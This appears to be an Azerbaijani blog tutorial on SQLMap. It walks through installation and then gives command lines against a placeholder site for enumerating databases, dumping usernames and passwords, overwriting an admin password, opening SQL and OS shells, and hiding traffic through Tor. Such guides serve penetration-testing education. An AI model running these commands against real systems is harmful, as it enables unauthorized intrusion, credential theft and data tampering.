SQLMap: Avtomatlaşdırılmış SQL Injection Aləti

Giriş

SQLMap açıq mənbəli, güclü və avtomatlaşdırılmış SQL Injection test alətidir. Bu alət penetrasiya testçiləri, etik hakerlər və təhlükəsizlik mütəxəssisləri tərəfindən veb tətbiqlərindəki SQL Injection zəifliklərini aşkar etmək və istismar etmək üçün istifadə olunur. SQLMap avtomatik olaraq verilənlər bazasının tipini müəyyənləşdirir, məlumat çıxarır, istifadəçi və parolları əldə edir, hətta sistemdə komanda icra etməyə imkan yaradır.


1. SQLMap-in Yüklənməsi və Quraşdırılması

SQLMap Python dili ilə yazılmışdır və Linux, Windows və macOS sistemlərində işləyir. Qurulma prosesini fərqli əməliyyat sistemləri üçün aşağıda izah edirik.

1.1. Linux və macOS Üzərində Quraşdırma

Əgər Kali Linux və ya digər Debian əsaslı bir sistem istifadə edirsinizsə, SQLMap artıq quraşdırılmış ola bilər. Onu yoxlamaq üçün aşağıdakı əmri icra edin:

sqlmap --version

Əgər SQLMap sisteminizdə yoxdursa, onu quraşdırmaq üçün:

sudo apt update
sudo apt install sqlmap

Ən son versiyanı GitHub-dan çəkmək üçün:

git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git
cd sqlmap

İstifadə etmək üçün:

python3 sqlmap.py --help

1.2. Windows Üzərində Quraşdırma

Windows üçün əvvəlcə Python 3 quraşdırılmalıdır. Daha sonra:

git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git
cd sqlmap
python sqlmap.py --help

Bununla SQLMap istifadəyə hazır olacaq.


2. SQLMap-in İstifadəsi

SQLMap sadə sintaksisə malikdir:

sqlmap -u "http://target.com/index.php?id=1" --batch

Burada:

  • -u → SQL Injection testi aparılacaq URL-i göstərir.
  • --batch → Avtomatik rejimdə (istifadəçidən təsdiq istəmədən) işləyir.

2.1. SQL Injection Aşkarlanması

Sadə SQL Injection yoxlanışı üçün:

sqlmap -u "http://target.com/index.php?id=1" --dbs

Burada --dbs verilənlər bazalarının siyahısını çıxarmaq üçün istifadə olunur.


3. Əsas İstismar Funksiyaları

3.1. Verilənlər Bazası Adlarının Çıxarılması

Saytın hansı verilənlər bazası mühərrikindən istifadə etdiyini öyrənmək üçün:

sqlmap -u "http://target.com/index.php?id=1" --dbs

3.2. Cədvəl Adlarının Çıxarılması

Hədəf verilənlər bazasının cədvəllərini çıxarmaq üçün:

sqlmap -u "http://target.com/index.php?id=1" -D target_db --tables

Burada:

  • -D target_db → Hədəf verilənlər bazasının adını göstərir.
  • --tables → Mövcud cədvəlləri göstərir.

3.3. Sütun Adlarını Tapmaq

Müəyyən bir cədvəldə olan sütunları görmək üçün:

sqlmap -u "http://target.com/index.php?id=1" -D target_db -T users --columns

Burada:

  • -T usersusers adlı cədvəli göstərir.
  • --columns → Sütunların adlarını göstərir.

3.4. Məlumatların Çıxarılması

İstifadəçi adları və parollarını əldə etmək üçün:

sqlmap -u "http://target.com/index.php?id=1" -D target_db -T users -C username,password --dump

Burada:

  • -C username,password → Yalnız usernamepassword sütunlarını çıxarmaq üçündür.
  • --dump → Məlumatların çıxarılması əməliyyatını icra edir.

3.5. Verilənlər Bazasında Yazı Dəyişdirmək (Update, Delete, Insert)

Əgər serverdə yazma icazəsi varsa, SQLMap-dən istifadə edərək verilənləri dəyişmək mümkündür.

Məsələn, bir istifadəçinin şifrəsini dəyişmək üçün:

sqlmap -u "http://target.com/index.php?id=1" -D target_db -T users --sql-query="UPDATE users SET password='newpass' WHERE username='admin'"

4. Sistemə Giriş və Komanda İcra Etmək

SQLMap yalnız SQL Injection zəifliklərini aşkar etmir, eyni zamanda serverdə shell əldə etməksistem komandaları icra etmək imkanını da yaradır.

4.1. Shell Əldə Etmək (İnteraktiv SQL Konsolu Açmaq)

Əgər verilənlər bazasına giriş imkanı varsa, SQL shell əldə etmək mümkündür:

sqlmap -u "http://target.com/index.php?id=1" --sql-shell

Bu, birbaşa verilənlər bazasına sorğular göndərməyə imkan verir.

4.2. Sistem Komandaları İcra Etmək

Əgər verilənlər bazası administrator hüquqları ilə işləyirsə, sistemdə komanda icra etmək mümkündür:

sqlmap -u "http://target.com/index.php?id=1" --os-shell

Bu əmrlə SQLMap serverdə terminal açaraq sistem əmrlərini icra etməyə imkan yaradır.


5. SQLMap-in Digər Funksiyaları

SQLMap müxtəlif xüsusiyyətlərə malikdir:
Bütün əsas verilənlər bazalarını dəstəkləyir (MySQL, PostgreSQL, Oracle, MSSQL və s.).
Dərin testlər aparır (error-based, boolean-based, time-based, UNION-based və s.).
Tor və Proksi Dəstəyi var (anonim testlər aparmaq üçün).
Daha effektiv və sürətli işləmək üçün multi-threading istifadə edir.
Bash və Python skriptlərinə inteqrasiya edilə bilir.


6. SQLMap-i Proxy və Tor ilə İşlətmək

Əgər anonimliyi qorumaq və testləri gizli aparmaq istəyirsinizsə, SQLMap-i Tor və ya proxy ilə işlədə bilərsiniz.

Tor istifadə edərək SQLMap işə salmaq:

sqlmap -u "http://target.com/index.php?id=1" --tor --check-tor

Və ya xüsusi bir proxy serverdən istifadə etmək üçün:

sqlmap -u "http://target.com/index.php?id=1" --proxy="http://127.0.0.1:8080"

7. Nəticə

SQLMap, penetrasiya testləri üçün ən güclü SQL Injection alətlərindən biridir. Avtomatlaşdırılmış funksiyaları, geniş verilənlər bazası dəstəyi və təhlükəsizlik testlərindəki effektivliyi ilə kibertəhlükəsizlik sahəsində ən çox istifadə olunan alətlərdən biridir.

Daha çox məlumat üçün rəsmi GitHub səhifəsinə baxa bilərsiniz:
🔗 https://github.com/sqlmapproject/sqlmap

Bir cavab yazın

Sizin e-poçt ünvanınız dərc edilməyəcəkdir. Gərəkli sahələr * ilə işarələnmişdir